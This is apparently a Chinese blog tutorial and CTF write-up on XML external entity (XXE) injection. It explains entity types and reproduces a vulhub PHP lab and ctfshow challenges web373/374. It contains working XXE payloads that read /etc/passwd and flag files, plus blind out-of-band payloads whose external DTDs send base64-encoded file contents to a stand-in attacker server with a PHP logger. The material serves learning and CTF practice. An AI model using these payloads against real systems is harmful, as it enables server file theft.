xxe盲注

本文详细介绍了XML外部实体注入(XXE)的概念,包括内部实体、外部实体和参数实体的使用,以及如何通过它们来构造和利用XXE漏洞。文章通过实例展示了XXE如何从内部和外部引用实体,以及如何进行混合调用和盲注攻击。此外,还讨论了PHP环境下的XXE利用,包括libxml的安全设置和如何在无回显情况下构造XMLpayload。
摘要由CSDN通过智能技术生成

简单描述xxe:

内部声明实体,格式为

<?xml version="1.0"?>
<!DOCTYPE name[        //DTD内部声明
<!ENTITY errorr0   "hello world">    //DTD实体
]>
<user><username>&errorr0;</username><password>123</password></user>

引用外部实体

<?xml version="1.0"?>
<!DOCTYPE name[        //DTD内部声明
<!ENTITY errorr0  SYSTEM "http://127.0.0.1">    //DTD外部实体
]> 
<user><username>&errorr0;</username><password>123</password></user>

如何区分,一开始我也看不懂有啥区别,最后是啥发现了内部实体就是引用得值是已经定义好了,而外部实体的值就是通过某些函数比如system来获取,不是提前定义好的。

参数实体

上面的内部还是外部实体的值,都是再文档外面调用的,而如果我们想在里面调用,就需要用到参数实体。

<!ENTITY % 实体名称 "实体的值">

%实体名称 ;----- 相当于调用

<!DOCTYPE name[
<!ENTITY % a   "hello">
<!ENTITY % b  "&a; errorr0">
%b;
]>
 
 
最后输出的答案为:hello errorr0

 可以看出%b在dtd的里面。 

内部实体+参数实体混合调用

<?xml version="1.0"?>
<!DOCTYPE name[
<!ENTITY % errorr1 "<!ENTITY errorr2 'hello no'>">
%errorr1;
]>
 
<user><username>&errorr2;</username><password>123</password></user>

先调用参数实体,然后数据中又是一个实体,再在文档元素中调用&errorr2; 。

预定义实体,实体引入字符

当然除了这些,还有一种方式代替一些符号比如百分号%,参数实体的百分号%也不能出现在实体值中,这个时候我们可以用Unicode编码,%=&#37; 也可以写做16进制 ,%=&#37;=&#x25;

外部实体+参数实体的二重调用 

<?xml version="1.0"?>
<!DOCTYPE name[
<!ENTITY % errorr1 SYSTEM "http://127.0.0.1/flag.txt">
%errorr1;
%errorr;
]>
 
<user><username>&errorr2;</username><password>123</password></user>
 
 
 
 
flag.txt中内容如下:
 
<!ENTITY % errorr "<!ENTITY errorr2  'yes i am a flag'>">

盲注xxe

因为上面的都是有回显的题目都会有print或者echo之类输出的语句, 但是如果没有回显了怎么办呢?

构造的XML
 
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/xxe/php_xxe/flag.XML">  //这是需要带出去的一串数据
<!ENTITY % remote SYSTEM "http://服务器IP/errorr.txt">  //服务器中放入嵌套数据
%remote;
%all;
]>
<root>&send;</root>
errorr.txt
 
<!ENTITY % all "<!ENTITY  send SYSTEM 'http://服务器IP地址/1.php?file=%file;'>">
1.php
 
 
<?php
file_put_contents("1.txt", $_GET['file']) ;
?>

其实就是通过了参数实体+外部实体,首先调用%romore获得errror.txt中的实体,然后调用%all获得了后面的send最后调用外部实体,调用了1.php中的内容,然后把file里面的数据放到了1.txt中,这样就把数据外带了。

因为DTD外部实体中带入的 SYSTEM 可以执行http:// 、 file:// 、 https:// ,因此不用怀疑,我们还能进行php://伪协议的利用,比如php://filter中我们可以用base64或者rot13编码一些文件或者网站的源码供我们读取。

XXE过滤ENTITY关键字

完全可以用上面的方式把ENITY放到,服务器上的一个文件中然后读取

复现的环境:

  • PHP 7.0.30
  • libxml 2.8.0
  • libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

这里就不细写知识点了,这个链接挺全的。主要通过题目和复现来逐渐理解。

首先复现vulhub上的php_xxe

环境搭建:找到php_xxe的 那个

 然后直接docker-compose up -d,然后访问8080端口就可以了。

(ps:一定保证8080的端口是空闲的,这里我的kali以前鼓捣过,8080端口开过apache信道服务,捣鼓不明白 只能重开一台kali)

目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。

dom.php: DOMDocument:: loadXML()//从字符串加载XML文档

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

 SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素

<?php
$data=file_get_contents('php://input');
$xml=new SimpleXMLElent($data);

simplexml_load_string.php: simplexml_load_string()//接受格式正确的XML字符串,并将其作为对象返回

<?php
$data=file_get_contents('php://input');
$xml=simplexml_load_string($data);

echo $xml->name;

burp抓包进行修改,加入如下代码:这是使用的外部实体

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe[ 
	<!ELEMENT test ANY >	
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	
<test>
	<name>&xxe;</name>					
</test>		

 发现执行成功。

==============

web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false); //允许加载外部实体
$xmlfile = file_get_contents('php://input');//xml文件来源于数据流
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 加载xml实体,参数为替代实体,加载外部子集
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;//结点嵌套
    echo $ctfshow;
}
highlight_file(__FILE__);    


<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE foo[
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///flag" >]>
  <creds>
    <ctfshow>&xxe;</ctfshow>
  </creds>

这里ctfshow的标签因为是结点嵌套所以必须存在,  然后&xxe后面的分号一定要有。

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里没有print echo所以无回显,所以我们需要找个东西来外带我们要获取的数据。

evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/secret">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://x.x.x.x:9999/?p=%file;'>">
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [ 
<!ENTITY % dtd SYSTEM "http://x.x.x.x/evil.txt"> 
%dtd;%int;%send; ]> 

需要在服务器上开启web功能。

过滤http头、xml这些可以换个编码绕过

ps感想:

弄这个apache搞了好几天一直报错,实在是顶不住了,如果有会的师傅可以滴滴我,感激不尽呀!!! 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值